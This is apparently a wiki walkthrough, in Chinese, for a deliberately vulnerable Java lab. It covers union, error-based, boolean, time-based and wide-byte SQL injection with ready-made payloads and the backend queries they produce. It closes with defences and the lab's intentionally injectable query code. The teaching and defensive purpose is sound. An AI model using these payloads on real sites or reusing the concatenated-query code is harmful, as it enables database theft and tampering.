-
Notifications
You must be signed in to change notification settings - Fork 31
SQL 注入
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过利用应用程序没有对用户输入进行充分验证的缺陷,将恶意的SQL语句注入到后端数据库中,从而导致数据库的数据被窃取、篡改、破坏等风险。 通常,SQL注入攻击发生的原因是开发人员没有对用户输入的数据进行充分验证或过滤,或者使用了不安全的SQL查询方法。攻击者可以通过输入特定的字符串或符号来欺骗程序,从而注入恶意的SQL语句。
考察:数字类型基本的注入方式
进入到界面,发现有提示通过用户ID查询用户,我们直接点击查询。
观察流量数据包,这里通过传入ID查询用户。
参考payload:5-1
,发现返回的ID是4而不是5的,判断存在SQL注入。
这里使用的是联合注入方法,因为查询的数据会返回给到我们。
判断取的字段有多少个:5 order by 3
当测试到字段4时,提示没有第4个字段。说明一共取了3个字段。
通过5 union select 1,2,3
判断显示位置,可以看到id和username的内容替换成了我们输入的1和2。
通过Mysql的一些内置函数如user()
、database()
等函数可以获取数据库信息。参考payload:5 union select 1,user(),3
后台执行语句为:select * from sys_account where id=5 union select 1,user(),3
考察:字符类型基本的注入方式
数据库中默认存在 jake、jessica、both 三个用户。我们输入 jake 尝试查询。
因为字符串是通过单引号闭合的,所以我们直接尝试增加一个单引号判断:jake'
返回了数据库报错信息,证明漏洞存在。
这里使用的是联合注入方法,因为查询的数据会返回给到我们。
参考payload:jake' order by 3#
因为多了一个引号,但我不想闭合所以直接使用了注释字符#
当测试到字段4时,提示没有第4个字段。说明一共取了3个字段。
参考payload:' union select 1,2,3#
,判断显示位置,可以看到id和username的内容替换成了我们输入的1和2。
参考payload:' union select 1,database(),3#
后台执行语句为:select * from sys_account where username='' union select 1,database(),3#'
考察:模糊查询闭合方式
尝试输入jak
进行查询,发现也可以查询到jake
。
这里不适合联合查询注入,直接通过报错注入方便一些。
参考payload:%' and updatexml(1,concat(0x7e,database(),0x7e),1)#
URL编码:%25%27+and+updatexml%281%2Cconcat%280x7e%2Cdatabase%28%29%2C0x7e%29%2C1%29%23
后台执行语句为:select * from sys_account where username like '%%' and updatexml(1,concat(0x7e,database(),0x7e),1)#%'
考察:括号闭合方式
参考payload:jake') order by updatexml(1,concat(0x7e,database(),0x7e),1)#
后台执行语句为:select * from sys_account where (username=1 or username='jake') order by updatexml(1,concat(0x7e,database(),0x7e),1)#')
考察:insert/update语句注入方式
参考payload:jake' and 1=1#
用户名输入payload,密码任意输入都行。万能密码的方式进入后台。不是重点
后台执行语句为:select * from sys_account where username='jake' and 1=1#' and password='1'
登录成功之后,在修改个人信息处,点击确认修改,尝试正常访问。
观察正常返回数据包
我们在参数address
使用老方法,增加一个单引号,发现updateStatus
由true
变成了false
,说明这里可以尝试使用布尔注入。
update 语句需要通过 where 条件来确定更新的数据项,我们不知道它后面拼接的是哪些字段,只能通过现有的字段来判断。
' where address='where' and (select length(database())>10)#
这里判断数据库长度大于10,但updateStatus返回了false,说明条件不成立。
此时我们将10修改成5发现,updateStatus返回了true,说明条件成立。
获取数据库名的第一位,ascii码中的109对应就是字母m
参考payload:where' where address='where' and (ascii(substr(database(),1,1))=109)#
后台SQL语句:update sys_userinfo set phone='18888888888',address='where' where address='where' and (ascii(substr(database(),1,1))=109)
考察:delete语句注入方式
在界面的评论信息出找到操作删除按钮,点击后观察流量数据包。
观察发现只需提供id就能删除。
参考payload:updatexml(1,concat(0x7e,database(),0x7e),1)
后台SQL语句:delete from sys_comments where id=updatexml(1,concat(0x7e,database(),0x7e),1)
考察:布尔注入方式
判断漏洞存在' or '1'='1
,条件成立时。
当我们将条件不成立时,' or '1'='2
,没有返回任何数据。
这里我们可以使用布尔注入或者时间注入。
参考payload:' or (ascii(substr(database(),1,1))=109)#
后台SQL:select * from sys_account where username='' or (ascii(substr(database(),1,1))=109)#'
考察:时间注入方式
任意输入尝试查询
通过用户名查询用户
参考payload:' or sleep(5)#
后台SQL:select * from sys_account where username='' or sleep(5)#'
延时方法不止sleep函数一种。
考察:宽字节注入方式和其他绕过方式
直接输入单引号会被增加转义符号:'
->\'
后台SQL:select * from sys_account where username='admin' and password='1\''
参考payload:1%df%5c%27or 1=1#
后台SQL:select * from sys_account where username='admin' and password='1?\\'or 1=1#'
参考payload:username=admin\&password=or 1=1#
后台SQL:select * from sys_account where username='admin\' and password='or 1=1#'
参考payload:admin\'or 1=1#
后台SQL:select * from sys_account where username='admin\\'or 1=1#' and password='1'
SQL注入真是老生常谈。目前防御SQL注入的手段最有效的还是预编译,当然预编译也不是万能的,大致上有这些防御SQL注入的方式。
- 使用参数化的SQL语句或预编译语句。
- 这种方法可以避免直接拼接SQL语句,有效防止SQL注入攻击。但是如果参数不正确地传递,仍可能导致SQL注入漏洞。
- 对用户输入进行过滤和验证。
- 这种方法可以检查输入数据的格式、类型、长度等是否符合要求,避免恶意输入攻击,但是需要保证过滤和验证的严格性。
- 使用ORM框架。
- ORM框架可以把对象与数据库表映射起来,自动生成SQL语句,有效地避免手写SQL带来的漏洞。但是ORM框架的质量和使用方式也需要谨慎考虑。
- 限制数据库用户的权限。
- 把数据库用户权限限制在最小范围内,避免恶意用户获取敏感数据。但是如果数据库被攻破,仍有可能导致数据泄露。
- 避免把错误信息暴露给用户。
- 在出现异常或错误时,不要把详细信息直接暴露给用户,避免攻击者利用这些信息进行注入攻击。但是错误信息的处理也需要及时,以便开发人员快速定位和修复问题。
- 对重要数据进行加密存储。
- 对于重要数据,采用加密存储的方式,即使数据库被攻破也不容易泄露敏感信息。但是加密的算法和密钥管理也需要谨慎考虑。
- 定期对数据库进行安全审计。
- 定期对数据库进行安全审计,检查是否存在异常或漏洞,及时修复问题,保证系统的安全性。但是需要保证审计的全面性和严格性。
Java中执行SQL语句的方式大致有以下几种:
- 使用 JDBC 的
java.sql.Statement
执行SQL语句。 - 使用 JDBC 的
java.sql.PreparedStatement
执行SQL语句。 - 使用 Hibernate 的
createQuery
执行SQL语句。 - 使用 MyBatis 映射执行SQL语句。
Hibernate 默认会将所有传入的参数使用 JDBC 的 PreparedStatement 进行预编译,从而防止 SQL 注入攻击。
Query query = session.createQuery("FROM User WHERE username = :username");
query.setParameter("username", username);
List<User> users = query.list();
MyBatis 则是通过编写映射文件,在映射的语句中使用${}
和#{}
来设置变量输出的位置。其中#{}
的底层也是使用 JDBC 的 PreparedStatement 进行预编译。而${}
则是直接输出变量,类似于字符拼接从而导致SQL注入。
JDBC 的 PreparedStatement 会自动将 SQL 中的占位符?
替换成预编译后的参数,使用参数化的方式执行 SQL。下面是预编译的例子。
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
尽管预编译非常好用,但在SQL语句中不能使用单引号的地方往往不能使用预编译。例如 order by
,这些地方没有过滤就有可能存在SQL注入风险。并且预编译不会对模糊查询中的两个通配符,%
和_
做转义,没有过滤的话很有可能导致恶意模糊查询。
如果使用Statement
的方式,那么将没有预编译,通常是使用字符拼接的方式执行SQL语句,在开发过程中,我大量使用了Statement.executeQuery
方法,如果不对用户输入的内容自行做过滤,那么不可避免的会导致SQL注入的产生。
代码来源:com/pika/electricrat/sqli/dao/UserGbkDaoImpl.java
// 查询,字符串拼接
public HashMap<String, Object> findUserById(String id){
return query("select * from sys_account where id=" + id);
}
// 直接使用 executeQuery 执行SQL语句,没有过滤。
public HashMap<String, Object> query(String sql){
System.out.println(sql);
HashMap<String, Object> data = new HashMap<>();
try {
ResultSet rs = s.executeQuery(sql);
rs.next();
data.put("id", rs.getInt("id"));
data.put("username", rs.getString("username"));
data.put("msg", "ok");
} catch (SQLException e){
e.printStackTrace();
data.put("msg", e.getMessage());
}
return data;
}
值得一提的是参考了【BJDCTF 2020】简单注入,我过滤了单引号,转义成\'
。
代码来源:com/pika/electricrat/sqli/dao/UserGbkDaoImpl.java
public HashMap<String, Object> findUserFilter(String username, String password){
username = username.replaceAll("'+", "\\\\'");
password = password.replaceAll("'+", "\\\\'");
return query("select * from sys_account where username='" + username + "' and password='" + password + "'");
}